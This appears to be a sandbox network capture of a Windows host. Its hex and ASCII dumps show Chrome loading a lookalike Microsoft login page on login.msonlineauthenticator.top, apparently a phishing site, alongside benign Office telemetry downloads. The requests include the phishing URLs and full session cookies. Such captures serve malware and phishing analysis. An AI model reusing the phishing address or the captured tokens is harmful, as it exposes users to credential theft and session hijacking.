2024-11-26 12:44:12 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2024-11-26 12:44:12 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 75 65 2c 20 32 36 20 4e 6f 76 20 32 30 32 34 20 31 32 3a 34 34 3a 31 31 20 47 4d 54 0d 0a Data Ascii: Date: Tue, 26 Nov 2024 12:44:11 GMT
2024-11-26 12:44:12 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2024-11-26 12:44:12 UTC	158	IN	Data Raw: 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 70 72 65 63 6f 6e 6e 65 63 74 3b 20 63 72 6f 73 73 6f 72 69 67 69 6e 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 2c 3c 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 66 74 61 75 74 68 2e 6e 65 74 3e 3b 20 72 65 6c 3d 64 6e 73 2d 70 72 65 66 65 74 63 68 0d 0a Data Ascii: Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch
2024-11-26 12:44:12 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2024-11-26 12:44:12 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2024-11-26 12:44:12 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2024-11-26 12:44:12 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	49855	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:11 UTC	2017	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90 HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	49853	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:11 UTC	2036	OUT	GET /favicon.ico HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; fpc=AmLITznCxPJGndwBwlWb56s; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeiOl_yCgpCHmEMJQsoCuyZDZRA6x5LR9ew-mHaDzv_4Vlf4hY5CaX19iZXKeruHta5d5J6zwDxYPZEXAWyP9-xl3P0hJqnEokvJfTgmiv8mCjzIkqwpAI6KrOuRB8HhbVufDyv6raWVsxuMrjI5BKE0ncHqlFWtyE7lxBuUJEmsUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:11 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:12 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:12 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124412Z-174f7845968xr5c2hC1EWRd0hn0000000c5g00000000cb3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:12 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:11 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:12 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124412Z-174f78459685m244hC1EWRgp2c0000000v70000000009y15 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:12 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:12 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:12 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124412Z-174f7845968kdththC1EWRzvxn00000007qg00000000a8t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:12 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	49856	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:12 UTC	408	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:12 UTC	797	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:12 GMT Content-Type: application/x-javascript Content-Length: 49911 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 02 Oct 2024 20:05:23 GMT ETag: 0x8DCE31D8CF87EF9 x-ms-request-id: 6f188932-d01e-0068-4896-3fa5c6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124412Z-174f7845968vqt9xhC1EWRgten0000000vf000000000852d x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:12 UTC	15587	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 cc cc 2e b0 5c 4e ac 80 bb 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 5f c4 38 89 2b 53 3f 4e a0 d0 48 4c c3 c7 4a 15 aa 8b bc ca a9 1b 25 4f 95 c3 53 b3 0e f5 0b a8 cd bf f5 03 28 3d 0e 67 4f f0 7c 97 54 82 30 f1 c7 a2 e2 06 1e d5 36 85 97 20 16 95 79 e0 89 a8 f2 78 e7 8f ef 2a c7 fe 38 0a e3 70 92 54 22 31 16 Data Ascii: m[80OL;wa.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDe_8+S?NHLJ%OS(=gO\|T06 yx*8pT"1
2024-11-26 12:44:13 UTC	16384	IN	Data Raw: bb 0c 77 90 36 70 02 a2 23 27 68 d7 13 77 83 5b ce 75 c8 5d 1e 38 7e d8 ef 65 93 b7 51 ba 99 a3 99 6e c4 c1 49 25 dd 80 44 6f 6d d6 5b f8 24 0d de 5f 42 cf db 25 c7 07 20 5b 70 93 25 fa 4a f2 b1 09 72 79 ab 24 b3 29 e5 95 16 1b 3c 9b e3 f6 1e bc 63 2b a7 73 9c 09 3c 7b 87 34 0e 7c c0 b3 7e cf c4 83 50 e7 60 ac d8 21 42 fd 4d eb 90 1b 4e 38 90 99 77 8e e0 d0 a6 2f bd 49 a2 b4 57 da 5c 87 87 25 cd 61 58 8e c4 2d 4e ad 5b 1a 28 47 10 3f 31 5a 3e 44 bc 65 2b c5 c3 87 fc 45 47 b6 f1 b7 8f bd 8f 7b 1f 77 8d bc 52 c5 f3 16 77 73 08 e5 a7 d2 38 b4 8d 58 7b 03 2e 80 2a 7d 95 75 9f bd f0 3c 9d e0 69 54 92 0e 40 a4 ab 30 9c 54 f3 53 f3 32 8c 02 fa 7d e9 16 60 90 4a da 17 b0 b9 c2 43 2e b7 f6 3f 0c ce 10 8a e3 b7 49 a4 a8 49 28 d5 0d 41 59 e3 36 4b e1 be dd c8 64 fa Data Ascii: w6p#'hw[u]8~eQnI%Dom[$_B% [p%Jry$)<c+s<{4\|~P`!BMN8w/IW\%aX-N[(G?1Z>De+EG{wRws8X{.*}u<iT@0TS2}`JC.?II(AY6Kd
2024-11-26 12:44:13 UTC	16384	IN	Data Raw: 6c 5a 04 6d 94 02 7c 5f 33 90 18 0e f6 15 fb 9f fd c2 2d 7c f6 09 99 56 e0 1b df 55 00 e9 61 19 a9 ae 08 b4 08 de 5e 5e 8b 45 87 04 e9 6b b8 4e 14 17 ac 44 38 17 c4 11 e4 15 f5 05 82 e4 5a e1 00 e1 b1 7a c3 5a 2a cb eb 40 53 54 ab c1 7c ad ba a5 5c a6 6e 38 df 2e 84 c6 0f 51 3b 3d 74 de 84 36 7f d1 36 c8 68 2e a7 19 09 6f b4 0d 8a 69 11 fc 25 99 f6 55 32 25 02 a3 cd f2 e5 b9 1f 5a 92 03 c5 6a 6e d0 c6 ff b1 0d 05 a2 16 7e 06 11 d8 2f e6 d8 0b d6 12 91 54 cd 2a 90 95 47 9c 89 ce 07 af 7b 17 a7 3f 3f c1 8f fe 53 46 e8 38 88 e1 92 f5 d4 34 4b ca ff d8 a1 26 dd bc d2 22 ad b5 44 6f f6 c3 ab 20 de c6 32 0d 70 78 26 6a f3 08 a8 73 81 d6 01 20 73 48 80 a3 ea 25 4e 2a 1f eb b1 f6 d7 5d 21 e3 43 50 cc 65 af 1d a9 f7 78 ab d5 9d ad 16 9b 6a 23 b0 19 6a 77 87 19 d4 Data Ascii: lZm\|_3-\|VUa^^EkND8ZzZ@ST\|\n8.Q;=t66h.oi%U2%Zjn~/TG{??SF84K&"Do 2px&js sH%N*]!CPexj#jw
2024-11-26 12:44:13 UTC	1556	IN	Data Raw: c8 f9 f6 eb 34 7d f4 dd 37 c9 ee f7 8f f6 e2 dd 6f 66 df 7e bf fb 7d f2 f5 de 6e fc a7 bd af f7 bf 9d 3d fa d3 77 5f ff c9 21 56 2a a5 73 b5 26 36 2a 27 82 5f 12 0b 55 10 07 45 ac c1 2c da 23 56 89 cf dd 43 f9 73 20 7f 9e 75 9c 76 3f 1a ef 92 4a 90 bf 91 22 52 db 77 24 13 55 ce a9 1a 01 89 98 e7 e9 12 09 35 70 a9 69 d1 8b 04 3e 39 b8 03 34 3d 1a 1b f6 0d 11 dc b4 09 a7 5a e3 8c 8b a0 d8 8e 04 67 bc 91 4c 62 e2 2d 07 7e 93 24 60 c7 c4 68 e0 da 03 1d 6c 3c 21 5c 7a 3a 4f b3 ab 34 19 29 dd 15 7b 6b c9 37 46 ce 38 f3 54 8a b9 ab e3 f2 64 a2 b4 95 f8 ed 6f a1 2d 95 5b 98 f6 b3 12 95 75 5d 1b eb 28 7f d3 8a 79 02 81 cc da 41 13 ca b3 45 0d 0a 89 e2 cd 78 84 e3 f1 cc c7 60 84 29 31 ff 70 62 90 50 0e 31 a6 45 b5 e7 53 db ac f1 3b a1 c9 6b 77 f7 30 e5 18 a3 e1 de Data Ascii: 4}7of~}n=w_!Vs&6'_UE,#VCs uv?J"Rw$U5pi>94=ZgLb-~$`hl<!\z:O4){k7F8Tdo-[u](yAEx`)1pbP1ES;kw0

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:13 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:13 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: fdde8523-d01e-0028-578c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124413Z-174f78459684bddphC1EWRbht40000000v8g000000002dfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:13 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:14 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:14 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e544c55f-801e-0083-3181-3ff0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124414Z-174f7845968swgbqhC1EWRmnb40000000vn0000000006b50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:14 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

